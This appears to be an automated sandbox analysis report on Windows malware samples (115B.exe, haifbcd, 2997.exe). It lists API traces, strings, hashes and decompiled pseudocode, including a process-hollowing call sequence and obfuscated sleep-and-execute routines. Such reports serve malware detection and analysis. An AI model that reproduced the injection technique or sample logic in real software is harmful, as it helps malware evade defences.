Instruction Fuzzy Hash: 69011E70C0524CEADB10DB98C5583EEBFB5AF41308F148099C4092B342D77A9B59CBA6

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: 115B.exe PID: 340 Parent PID: 3472 115B.exeCOMMON

Executed Functions

Function 00470110, Relevance: 22.7, APIs: 15, Instructions: 248memorynativethreadCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,00002800,00001000,00000004), ref: 00470156
GetModuleFileNameA.KERNELBASE(00000000,?,00002800), ref: 0047016C
CreateProcessA.KERNELBASE(?,00000000), ref: 00470255
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 00470270
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 00470283
GetThreadContext.KERNELBASE(00000000,?), ref: 0047029F
ReadProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 004702C8
NtUnmapViewOfSection.NTDLL(00000000,?), ref: 004702E3
VirtualAllocEx.KERNELBASE(00000000,?,?,00003000,00000040), ref: 00470304
NtWriteVirtualMemory.NTDLL(00000000,?,?,00000000,00000000), ref: 0047032A
NtWriteVirtualMemory.NTDLL(00000000,00000000,?,00000002,00000000), ref: 00470399
WriteProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 004703BF
SetThreadContext.KERNELBASE(00000000,?), ref: 004703E1
ResumeThread.KERNELBASE(00000000), ref: 004703ED
ExitProcess.KERNEL32(00000000), ref: 00470412

Memory Dump Source

Source File: 0000000E.00000002.341769805.0000000000470000.00000040.00000001.sdmp, Offset: 00470000, based on PE: false

Similarity

API ID: Virtual$MemoryProcess$AllocThreadWrite$Context$CreateExitFileFreeModuleNameReadResumeSectionUnmapView
String ID:
API String ID: 2875986403-0
Opcode ID: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction ID: 327b68b747bcce81ce2721edc656e5618c5e85ef91fec44d07fdfa901a017d22
Opcode Fuzzy Hash: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction Fuzzy Hash: CAB1B674A00208EFDB44CF98C895F9EBBB5BF88314F248158E909AB391D775AE41CF94

Uniqueness

Uniqueness Score: -1.00%

Function 00470630, Relevance: 58.4, APIs: 1, Strings: 32, Instructions: 671libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(user32), ref: 004706E2

Strings

DefWindowProcA, xrefs: 00471374, 0047137A
GetModuleFileNameA, xrefs: 00470EFB, 00470EFE
CreateFileA, xrefs: 0047088B, 00470891
GetFileAttributesA, xrefs: 004713D7, 004713DA
GetMessageA, xrefs: 004712F7, 004712FA
CreateProcessA, xrefs: 004709BB, 004709C1
VirtualFree, xrefs: 00470BB2, 00470BB8
WriteProcessMemory, xrefs: 00470CE9, 00470CEF
CreateWindowExA, xrefs: 0047123E, 00471244
GetMessageExtraInfo, xrefs: 00470794, 0047079A
WaitForSingleObject, xrefs: 00470E95, 00470E9B
WinExec, xrefs: 00470820, 00470823
ExitProcess, xrefs: 00471554, 0047155A
VirtualProtectEx, xrefs: 004714E9, 004714EF
user32, xrefs: 004706DB, 004706E1
WriteFile, xrefs: 004708CD, 004708D0
ResumeThread, xrefs: 00470DEF, 00470DF5
VirtualAllocEx, xrefs: 00470B44, 00470B4A
GetStartupInfoA, xrefs: 0047145B, 00471461
ReadProcessMemory, xrefs: 00470C4A, 00470C50
RegisterClassExA, xrefs: 004711B7, 004711BD
VirtualAlloc, xrefs: 00470AC1, 00470AC7
CloseHandle, xrefs: 00470938, 0047093E
ntdll.dll, xrefs: 00470FE2, 00470FE8
SetThreadContext, xrefs: 00470D7A, 00470D80
PostMessageA, xrefs: 004712B0, 004712B6
MessageBoxA, xrefs: 004706EE, 004706F4
kernel32, xrefs: 004707ED, 004707F3
GetCommandLineA, xrefs: 00470F82, 00470F88
GetThreadContext, xrefs: 00470A4C, 00470A52
NtWriteVirtualMemory, xrefs: 0047112C, 00471132
NtUnmapViewOfSection, xrefs: 00471085, 0047108B

Memory Dump Source

Source File: 0000000E.00000002.341769805.0000000000470000.00000040.00000001.sdmp, Offset: 00470000, based on PE: false

Similarity

API ID: LibraryLoad
String ID: CloseHandle$CreateFileA$CreateProcessA$CreateWindowExA$DefWindowProcA$ExitProcess$GetCommandLineA$GetFileAttributesA$GetMessageA$GetMessageExtraInfo$GetModuleFileNameA$GetStartupInfoA$GetThreadContext$MessageBoxA$NtUnmapViewOfSection$NtWriteVirtualMemory$PostMessageA$ReadProcessMemory$RegisterClassExA$ResumeThread$SetThreadContext$VirtualAlloc$VirtualAllocEx$VirtualFree$VirtualProtectEx$WaitForSingleObject$WinExec$WriteFile$WriteProcessMemory$kernel32$ntdll.dll$user32
API String ID: 1029625771-3105132389
Opcode ID: aab33881e6ea512dee0bea29e3953140485f8577d3db8e783070f8d433065c47
Instruction ID: 1d125f160aad8cff30ded41980034b211d75af619bf61a69869c4d2c495f3a26
Opcode Fuzzy Hash: aab33881e6ea512dee0bea29e3953140485f8577d3db8e783070f8d433065c47
Instruction Fuzzy Hash: 1AA24460D0C6E8C9EB21C668CC4C7DDBEB51B26749F0841D9858C66292C7BB1B98CF76

Uniqueness

Uniqueness Score: -1.00%

Function 00470420, Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 113COMMON

Download Yara Rule

APIs

CreateWindowExA.USER32(00000200,saodkfnosa9uin,mfoaskdfnoa,00CF0000,80000000,80000000,000003E8,000003E8,00000000,00000000,00000000,00000000), ref: 00470533

Strings

0, xrefs: 00470492
mfoaskdfnoa, xrefs: 00470520, 00470523
d, xrefs: 00470584
saodkfnosa9uin, xrefs: 004704DA

Memory Dump Source

Source File: 0000000E.00000002.341769805.0000000000470000.00000040.00000001.sdmp, Offset: 00470000, based on PE: false

Similarity

API ID: CreateWindow
String ID: 0$d$mfoaskdfnoa$saodkfnosa9uin
API String ID: 716092398-2341455598
Opcode ID: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction ID: 6b9bf4bba3cd38c2b76c8d7d003fe971f9e5c904b193b1ec59ecc66983fe763f
Opcode Fuzzy Hash: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction Fuzzy Hash: D6512C70D09388DEEB11CBD8C849BDDBFB26F11708F144059D5487F286C3BA5559CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 004705B0, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE(apfHQ), ref: 004705EC

Strings

apfHQ, xrefs: 004705E2, 004705E5
o, xrefs: 00470600

Memory Dump Source

Source File: 0000000E.00000002.341769805.0000000000470000.00000040.00000001.sdmp, Offset: 00470000, based on PE: false

Similarity

API ID: AttributesFile
String ID: apfHQ$o
API String ID: 3188754299-2999369273
Opcode ID: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction ID: 1a48eaa12907d9f432b91500fcd16c59b06a01f311182c54781154e7ec08c333
Opcode Fuzzy Hash: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction Fuzzy Hash: 69011E70C0524CEADB10DB98C5583EEBFB5AF41308F148099C4092B342D77A9B59CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 006C6332, Relevance: 1.5, APIs: 1, Instructions: 41COMMON

Download Yara Rule

APIs

Module32First.KERNEL32(00000000,00000224), ref: 006C637A

Memory Dump Source

Source File: 0000000E.00000002.341880362.00000000006C1000.00000040.00000001.sdmp, Offset: 006C1000, based on PE: false

Similarity

API ID: FirstModule32
String ID:
API String ID: 3757679902-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: ce46e70b38fc87ee74e152081b04c4ec7583f896d15104d3f0e824abd84fbd72
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 9FF0C232200710ABD7202AB9D88CFBE76EDEF49320F10122DF646911C0CB70E8458A68

Uniqueness

Uniqueness Score: -1.00%

Function 006C5FF1, Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 006C6042

Memory Dump Source

Source File: 0000000E.00000002.341880362.00000000006C1000.00000040.00000001.sdmp, Offset: 006C1000, based on PE: false

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: d38cd0fe76a12536918a21d89202f1bb9812674b979030f23e64dfce54f4c10f
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 8A112B79A00208FFDB01DF98CA85E98BBF5EF08350F058094F948AB362D371EA50DB84

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: haifbcd PID: 4544 Parent PID: 2908 haifbcdCOMMON

Executed Functions

Function 0040196D, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48
sleepnativeCOMMON

Download Yara Rule

C-Code - Quality: 46%

			E0040196D(void* __eax, void* __ebx, void* __ecx, void* __edi, short __esi, void* __fp0) {
				intOrPtr _t14;
				void* _t17;
				intOrPtr* _t23;
				void* _t26;
				void* _t27;
				void* _t28;
				signed int _t33;
				intOrPtr* _t35;
				void* _t38;

				_t31 = __esi;
				_t29 = __edi;
				asm("in eax, 0xe5");
				 *((short*)(__eax + _t33 * 2)) = __esi;
				 *((intOrPtr*)(__eax + _t33 * 2)) = __esi;
				_push(0x1999);
				_t14 =  *_t35;
				__eflags = __al;
				_t26 = 0x5c;
				E004012AB(_t14, __ebx, _t26, _t28, __edi, __esi, _t38);
				_t23 =  *((intOrPtr*)(_t33 + 8));
				Sleep(0x1388);
				_t17 = E004014EA(_t28, _t38, __fp0, _t23,  *((intOrPtr*)(_t33 + 0xc)),  *((intOrPtr*)(_t33 + 0x10)), _t33 - 4); // executed
				_t39 = _t17;
				if(_t17 != 0) {
					_push( *((intOrPtr*)(_t33 + 0x14)));
					_push( *((intOrPtr*)(_t33 - 4)));
					_push(_t17);
					_push(_t23); // executed
					E004015BD(_t23, _t28, _t29, _t31, _t39); // executed
				}
				 *_t23(0xffffffff, 0); // executed
				_t27 = 0x5c;
				return E004012AB(0x1999, _t23, _t27, _t28, _t29, _t31, _t39);
			}

APIs

Sleep.KERNELBASE(00001388), ref: 004019A1
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019C9

Strings

j\Y, xrefs: 00401989

Memory Dump Source

Source File: 0000000F.00000002.352196635.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID: j\Y
API String ID: 417527130-662177190
Opcode ID: 60e19d2a587da5622c2a6d9172a049e9a5b2b5b2e4593a54255e3bb5c4ee03a0
Instruction ID: 595b9c3ea7707adfb89ee20c44a57f79679102a22a402f6ef59d3c67027402ce
Opcode Fuzzy Hash: 60e19d2a587da5622c2a6d9172a049e9a5b2b5b2e4593a54255e3bb5c4ee03a0
Instruction Fuzzy Hash: B10184B2604245EBDB005FE5DC92DAA3B74AF01314F2401ABF512B91F2DA3C8513E71A

Uniqueness

Uniqueness Score: -1.00%

Function 00401962, Relevance: 3.1, APIs: 2, Instructions: 52
sleepnativeCOMMON

Download Yara Rule

C-Code - Quality: 44%

			E00401962(void* __ecx, void* __fp0, intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t9;
				void* _t12;
				void* _t17;
				intOrPtr* _t18;
				void* _t20;
				void* _t21;
				void* _t22;
				void* _t23;
				void* _t24;
				intOrPtr* _t25;
				void* _t27;

				_push(0x1999);
				_t9 =  *_t25;
				__eflags = __al;
				_t20 = 0x5c;
				E004012AB(_t9, _t17, _t20, _t22, _t23, _t24, _t27);
				_t18 = _a4;
				Sleep(0x1388);
				_t12 = E004014EA(_t22, _t27, __fp0, _t18, _a8, _a12,  &_v8); // executed
				_t28 = _t12;
				if(_t12 != 0) {
					_push(_a16);
					_push(_v8);
					_push(_t12);
					_push(_t18); // executed
					E004015BD(_t18, _t22, _t23, _t24, _t28); // executed
				}
				 *_t18(0xffffffff, 0); // executed
				_t21 = 0x5c;
				return E004012AB(0x1999, _t18, _t21, _t22, _t23, _t24, _t28);
			}

APIs

Sleep.KERNELBASE(00001388), ref: 004019A1
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019C9

Memory Dump Source

Source File: 0000000F.00000002.352196635.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: e6583a46ba0c482cc9ee2622c86c4f26a038c05ef2be8949cbdfc3cdf2952675
Instruction ID: c7dbb5b86db80192b1cd6b67b95130a9e8bba6362884e51d04f8a5ef40e6dacf
Opcode Fuzzy Hash: e6583a46ba0c482cc9ee2622c86c4f26a038c05ef2be8949cbdfc3cdf2952675
Instruction Fuzzy Hash: A50144F1208205FBEB005AD59DA2E7B3668AB01715F20013BBA03790F1D57D9913E72B

Uniqueness

Uniqueness Score: -1.00%

Function 00401A0B, Relevance: 1.6, APIs: 1, Instructions: 96nativeCOMMON

Download Yara Rule

APIs

NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019C9

Memory Dump Source

Source File: 0000000F.00000002.352196635.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: 00d9af8ada967e92f08724f842517e3d5e3f1b979023ce9469ee702bd8b35524
Instruction ID: 6d9108f025a0daaf84588f91761baf46a4613dd7645499535b00fdf5ce75212c
Opcode Fuzzy Hash: 00d9af8ada967e92f08724f842517e3d5e3f1b979023ce9469ee702bd8b35524
Instruction Fuzzy Hash: 3E21D074609204EAC7156665C863FB637909B41329F60153FE9A3BE2F2C67C4487EB27

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: 115B.exe PID: 1412 Parent PID: 340 115B.exeCOMMON

Executed Functions

Function 00402BDF, Relevance: .1, Instructions: 82
COMMON

Download Yara Rule

C-Code - Quality: 34%

			E00402BDF(void* __eax, signed int __ebx, void* __ecx, signed int __edx, void* __edi, void* __esi, void* __fp0) {
				signed char _t19;
				void* _t20;
				void* _t24;
				void* _t25;
				void* _t27;
				short _t31;
				void* _t34;
				void* _t38;
				signed int _t42;
				signed int _t44;
				signed int _t45;
				signed int _t47;
				void* _t50;

				_t57 = __fp0;
				_t41 = __esi;
				asm("int 0xcc");
				asm("int3");
				asm("daa");
				asm("fisubr word [0xbaa4bd16]");
				asm("out 0xcc, eax");
				asm("int3");
				_t40 = __edi + 1;
				asm("enter 0x4fe8, 0x8");
				asm("enter 0xc927, 0xb2");
				 *(__edi + 1) =  *(__edi + 1) ^ _t47;
				asm("in al, dx");
				asm("movsb");
				_push(__esi);
				asm("int3");
				asm("int3");
				asm("int3");
				asm("daa");
				_pop(_t44);
				asm("sbb eax, 0xe23827fb");
				_t19 = _t42 & 0x00000057;
				_t38 = (__edx &  *(__ecx - 0x7af53ed9)) -  *__ebx;
				_t45 = _t44 ^ __ebx;
				_t31 =  *0x68ecd704;
				_t50 = __ecx -  *((intOrPtr*)(_t19 + _t19));
				 *((intOrPtr*)(_t19 - 0x15)) =  *((intOrPtr*)(_t19 - 0x15)) + _t31;
				_t20 = _t19 + 0xf4eb2485;
				asm("in al, dx");
				E004012AB(_t20, _t31, 0xab, _t38, _t40, __esi, _t50);
				_push( *((intOrPtr*)(_t45 - 4)));
				L004019FC(_t38, _t40, _t41, _t50); // executed
				_push(_t31 + 0x3098);
				_push( *((intOrPtr*)(_t45 - 4)));
				_t24 = E00402601(_t38, _t50); // executed
				_t51 = _t24;
				if(_t24 != 0) {
					_t25 = E00401F45(_t31, _t38, _t40, _t41, _t51,  *((intOrPtr*)(_t45 - 4)));
					_t52 = _t25;
					if(_t25 != 0) {
						L8:
						_t56 = gs;
						if(gs != 0) {
							_t27 = _t31 + 0x537c;
							_t34 = 0x2e0e;
						} else {
							_t27 = _t31 + 0x30d8;
							_t34 = 0x22a4;
						}
						_push( *((intOrPtr*)(_t31 + 0x818a)));
						_push(_t34);
						_push(_t27);
						_push( *((intOrPtr*)(_t45 - 4)));
						L00401962(_t31, _t40, _t41, _t56, _t57);
						_t24 = E004012AB(0x2c3a, _t31, 0xab, _t38, _t40, _t41, _t56);
					} else {
						_push( *((intOrPtr*)(_t45 - 4)));
						_t24 = L00402269(_t31, _t40, _t41, _t52);
						_t53 = _t24;
						if(_t24 != 0) {
							_push( *((intOrPtr*)(_t45 - 4)));
							_t24 = L00402339(_t31, _t38, _t40, _t41, _t53);
							_t54 = _t24;
							if(_t24 != 0) {
								_push( *((intOrPtr*)(_t45 - 4)));
								_t24 = E00402000(_t31, _t40, _t41, _t54, __fp0);
								if(_t24 != 0) {
									goto L8;
								}
							}
						}
					}
				}
				return _t24;
			}

0x00402bdf
0x00402bdf
0x00402bdf
0x00402be1
0x00402be2
0x00402be3
0x00402be9
0x00402beb
0x00402bec
0x00402bed
0x00402bf1
0x00402bf5
0x00402bfd
0x00402bfe
0x00402bff
0x00402c00
0x00402c01
0x00402c02
0x00402c04
0x00402c05
0x00402c06
0x00402c0b
0x00402c0d
0x00402c0f
0x00402c11
0x00402c18
0x00402c1b
0x00402c1e
0x00402c23
0x00402c35
0x00402c3a
0x00402c3d
0x00402c48
0x00402c49
0x00402c4c
0x00402c51
0x00402c53
0x00402c5c
0x00402c61
0x00402c63
0x00402c89
0x00402c8c
0x00402c8f
0x00402c9e
0x00402ca4
0x00402c91
0x00402c91
0x00402c97
0x00402c97
0x00402ca9
0x00402caf
0x00402cb0
0x00402cb1
0x00402cb4
0x00402ce0
0x00402c65
0x00402c65
0x00402c68
0x00402c6d
0x00402c6f
0x00402c71
0x00402c74
0x00402c79
0x00402c7b
0x00402c7d
0x00402c80
0x00402c87
0x00000000
0x00000000
0x00402c87
0x00402c7b
0x00402c6f
0x00402c63
0x00402ce6

Memory Dump Source

Source File: 00000010.00000002.406059873.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a96a1d56974caccc5d4da623b7cc5d751e9e7b67ef35c1f4f547101d9b503e9f
Instruction ID: ec2c384cf30749c380cca36d5fe090bc93ac8256a6f4346e7f47a6c4b7f1b762
Opcode Fuzzy Hash: a96a1d56974caccc5d4da623b7cc5d751e9e7b67ef35c1f4f547101d9b503e9f
Instruction Fuzzy Hash: E7212D2450C105EBEF11ABB1CF5E9BE36659F04308F54047BA941BA1E1DBBD8E01E61A

Uniqueness

Uniqueness Score: -1.00%

Function 00402C26, Relevance: .1, Instructions: 51
COMMON

Download Yara Rule

C-Code - Quality: 56%

			E00402C26(signed int __eax, void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				signed char _t13;
				void* _t17;
				void* _t18;
				void* _t20;
				void* _t23;
				void* _t25;
				void* _t30;

				_t40 = __fp0;
				_t33 = __eflags;
				_t29 = __esi;
				_t28 = __edi;
				_t27 = __edx;
				_t23 = __ebx;
				_t13 = __eax | 0x00000051;
				asm("into");
				E004012AB(_t13, __ebx, 0xab, __edx, __edi, __esi, __eflags);
				_push( *((intOrPtr*)(_t30 - 4)));
				L004019FC(__edx, _t28, __esi, __eflags); // executed
				_push(__ebx + 0x3098);
				_push( *((intOrPtr*)(_t30 - 4)));
				_t17 = E00402601(_t27, _t33); // executed
				_t34 = _t17;
				if(_t17 != 0) {
					_t18 = E00401F45(__ebx, _t27, _t28, _t29, _t34,  *((intOrPtr*)(_t30 - 4)));
					_t35 = _t18;
					if(_t18 != 0) {
						L7:
						_t39 = gs;
						if(gs != 0) {
							_t20 = _t23 + 0x537c;
							_t25 = 0x2e0e;
						} else {
							_t20 = _t23 + 0x30d8;
							_t25 = 0x22a4;
						}
						_push( *((intOrPtr*)(_t23 + 0x818a)));
						_push(_t25);
						_push(_t20);
						_push( *((intOrPtr*)(_t30 - 4)));
						L00401962(_t23, _t28, _t29, _t39, _t40);
						_t17 = E004012AB(0x2c3a, _t23, 0xab, _t27, _t28, _t29, _t39);
					} else {
						_push( *((intOrPtr*)(_t30 - 4)));
						_t17 = L00402269(__ebx, _t28, _t29, _t35);
						_t36 = _t17;
						if(_t17 != 0) {
							_push( *((intOrPtr*)(_t30 - 4)));
							_t17 = L00402339(__ebx, _t27, _t28, _t29, _t36);
							_t37 = _t17;
							if(_t17 != 0) {
								_push( *((intOrPtr*)(_t30 - 4)));
								_t17 = E00402000(__ebx, _t28, _t29, _t37, __fp0);
								if(_t17 != 0) {
									goto L7;
								}
							}
						}
					}
				}
				return _t17;
			}

0x00402c26
0x00402c26
0x00402c26
0x00402c26
0x00402c26
0x00402c26
0x00402c26
0x00402c28
0x00402c35
0x00402c3a
0x00402c3d
0x00402c48
0x00402c49
0x00402c4c
0x00402c51
0x00402c53
0x00402c5c
0x00402c61
0x00402c63
0x00402c89
0x00402c8c
0x00402c8f
0x00402c9e
0x00402ca4
0x00402c91
0x00402c91
0x00402c97
0x00402c97
0x00402ca9
0x00402caf
0x00402cb0
0x00402cb1
0x00402cb4
0x00402ce0
0x00402c65
0x00402c65
0x00402c68
0x00402c6d
0x00402c6f
0x00402c71
0x00402c74
0x00402c79
0x00402c7b
0x00402c7d
0x00402c80
0x00402c87
0x00000000
0x00000000
0x00402c87
0x00402c7b
0x00402c6f
0x00402c63
0x00402ce6

Memory Dump Source

Source File: 00000010.00000002.406059873.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1b02023fc4bfba0773cad7065d08fb48986f0a9276b4d3a02795040d04ab8014
Instruction ID: dd1e35acf3e6aea2fc83bb33355a17c6a64ea90f05b6fedcec6f0ee4b4d2d141
Opcode Fuzzy Hash: 1b02023fc4bfba0773cad7065d08fb48986f0a9276b4d3a02795040d04ab8014
Instruction Fuzzy Hash: 84010424508105FBFF01A661CF5E5BE2569AF04348F60007B6D06B52E2DBBD8E11B62E

Uniqueness

Uniqueness Score: -1.00%

Function 00402C31, Relevance: .1, Instructions: 51
COMMON

Download Yara Rule

C-Code - Quality: 55%

			E00402C31(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				void* _t12;
				void* _t16;
				void* _t17;
				void* _t19;
				void* _t22;
				void* _t24;
				void* _t29;

				_t39 = __fp0;
				_t32 = __eflags;
				_t28 = __esi;
				_t27 = __edi;
				_t26 = __edx;
				_t22 = __ebx;
				_push(ds);
				E004012AB(_t12, __ebx, 0xab, __edx, __edi, __esi, __eflags);
				_push( *((intOrPtr*)(_t29 - 4)));
				L004019FC(__edx, _t27, __esi, __eflags); // executed
				_push(__ebx + 0x3098);
				_push( *((intOrPtr*)(_t29 - 4)));
				_t16 = E00402601(_t26, _t32); // executed
				_t33 = _t16;
				if(_t16 != 0) {
					_t17 = E00401F45(__ebx, _t26, _t27, _t28, _t33,  *((intOrPtr*)(_t29 - 4)));
					_t34 = _t17;
					if(_t17 != 0) {
						L8:
						_t38 = gs;
						if(gs != 0) {
							_t19 = _t22 + 0x537c;
							_t24 = 0x2e0e;
						} else {
							_t19 = _t22 + 0x30d8;
							_t24 = 0x22a4;
						}
						_push( *((intOrPtr*)(_t22 + 0x818a)));
						_push(_t24);
						_push(_t19);
						_push( *((intOrPtr*)(_t29 - 4)));
						L00401962(_t22, _t27, _t28, _t38, _t39);
						_t16 = E004012AB(0x2c3a, _t22, 0xab, _t26, _t27, _t28, _t38);
					} else {
						_push( *((intOrPtr*)(_t29 - 4)));
						_t16 = L00402269(__ebx, _t27, _t28, _t34);
						_t35 = _t16;
						if(_t16 != 0) {
							_push( *((intOrPtr*)(_t29 - 4)));
							_t16 = L00402339(__ebx, _t26, _t27, _t28, _t35);
							_t36 = _t16;
							if(_t16 != 0) {
								_push( *((intOrPtr*)(_t29 - 4)));
								_t16 = E00402000(__ebx, _t27, _t28, _t36, __fp0);
								if(_t16 != 0) {
									goto L8;
								}
							}
						}
					}
				}
				return _t16;
			}

0x00402c31
0x00402c31
0x00402c31
0x00402c31
0x00402c31
0x00402c31
0x00402c31
0x00402c35
0x00402c3a
0x00402c3d
0x00402c48
0x00402c49
0x00402c4c
0x00402c51
0x00402c53
0x00402c5c
0x00402c61
0x00402c63
0x00402c89
0x00402c8c
0x00402c8f
0x00402c9e
0x00402ca4
0x00402c91
0x00402c91
0x00402c97
0x00402c97
0x00402ca9
0x00402caf
0x00402cb0
0x00402cb1
0x00402cb4
0x00402ce0
0x00402c65
0x00402c65
0x00402c68
0x00402c6d
0x00402c6f
0x00402c71
0x00402c74
0x00402c79
0x00402c7b
0x00402c7d
0x00402c80
0x00402c87
0x00000000
0x00000000
0x00402c87
0x00402c7b
0x00402c6f
0x00402c63
0x00402ce6

Memory Dump Source

Source File: 00000010.00000002.406059873.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bbfd290dd1f53f247941d2586496808a9ddbdb6b20914810c703c03e82b267be
Instruction ID: fdd0020ecbcebf5c27945d7f5c220321e6bca8652bc91b0f73e212d7c0469d3b
Opcode Fuzzy Hash: bbfd290dd1f53f247941d2586496808a9ddbdb6b20914810c703c03e82b267be
Instruction Fuzzy Hash: D9010420508105FAFF01AA61CF5E9BE2565AF04348F64047B6D06B51E1DBFD8E11B62E

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: 2997.exe PID: 6936 Parent PID: 3472 2997.exeCOMMON

Executed Functions

Function 0041CB7B, Relevance: 9.2, APIs: 3, Strings: 2, Instructions: 412COMMON

Download Yara Rule

APIs

__vswprintf_c_l.LIBCMTD ref: 0041CBA1

Part of subcall function 00421260: __vswprintf_helper.LIBCMTD ref: 00421281

_puts.LIBCMTD ref: 0041CBA7

Part of subcall function 004231F0: __invalid_parameter.LIBCMTD ref: 0042327D

__wrename.LIBCMTD ref: 0041CBAE

Part of subcall function 004231A0: __dosmaperr.LIBCMTD ref: 004231D4

Part of subcall function 0041EE71: __EH_prolog.LIBCMT ref: 0041EE76

Part of subcall function 00422BF0: _doexit.LIBCMTD ref: 00422BFD

Strings

\H, xrefs: 0041CE6C
E6B, xrefs: 0041CFA7, 0041D086, 0041CFAB, 0041D08A

Memory Dump Source

Source File: 00000011.00000002.369808653.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: H_prolog__dosmaperr__invalid_parameter__vswprintf_c_l__vswprintf_helper__wrename_doexit_puts
String ID: E6B$\H
API String ID: 1318488268-840798999
Opcode ID: 06f537d1d45ab80b7a9019ecb8eaff30d1d6772636f9effbf4ecb464780c79a9
Instruction ID: 3af5b127253545b488e8dcfed504778f69243de408ec4bc808c5fca7c689a554
Opcode Fuzzy Hash: 06f537d1d45ab80b7a9019ecb8eaff30d1d6772636f9effbf4ecb464780c79a9
Instruction Fuzzy Hash: B6D15332442665BFD325ABA1ED4DEDF3E6CEF4A351B004436F24AA1470C7384685CBAE

Uniqueness

Uniqueness Score: -1.00%

Function 0040174C, Relevance: 3.3, APIs: 2, Instructions: 300COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.369788826.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8ce1f821b1add3b19d25f5d05520d9875b10e16c09cb4ec3d7ac6c82c097d3ad
Instruction ID: 0d46a682724786e6ce09401c6bb99755c0c3e92dae499ab07bdf75d22f78f697
Opcode Fuzzy Hash: 8ce1f821b1add3b19d25f5d05520d9875b10e16c09cb4ec3d7ac6c82c097d3ad
Instruction Fuzzy Hash: AB81B93720A2409FD7059F64ACC69D6BF60FE4277477405BBE8519F192C23B9046CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0040193B, Relevance: 3.0, APIs: 2, Instructions: 50
sleepnativeCOMMON

Download Yara Rule

C-Code - Quality: 42%

			E0040193B(void* __eflags, intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t11;
				void* _t13;
				void* _t15;
				intOrPtr* _t16;
				void* _t19;
				void* _t20;
				void* _t21;
				void* _t22;

				_t23 = __eflags;
				_push(0x60);
				E00401277(0x196d, _t15, _t20, _t21, _t22, __eflags);
				_t16 = _a4;
				Sleep(0x1388);
				_t3 =  &_v8; // 0x6d74c454
				_t11 = E004014C6(_t19, _t23, _t16, _a8, _a12, _t3); // executed
				_t24 = _t11;
				if(_t11 != 0) {
					_push(_a16);
					_push(_v8);
					_push(_t11);
					_push(_t16); // executed
					E0040158E(_t16, _t20, _t21); // executed
				}
				 *_t16(0xffffffff, 0); // executed
				_t13 = 0x196d;
				return E00401277(_t13, _t16, _t20, _t21, _t22, _t24);
			}

0x0040193b
0x0040195e
0x00401968
0x0040196d
0x00401975
0x00401978
0x00401983
0x00401988
0x0040198a
0x0040198c
0x0040198f
0x00401992
0x00401993
0x00401994
0x00401994
0x0040199d
0x004019ac
0x004019d1

APIs

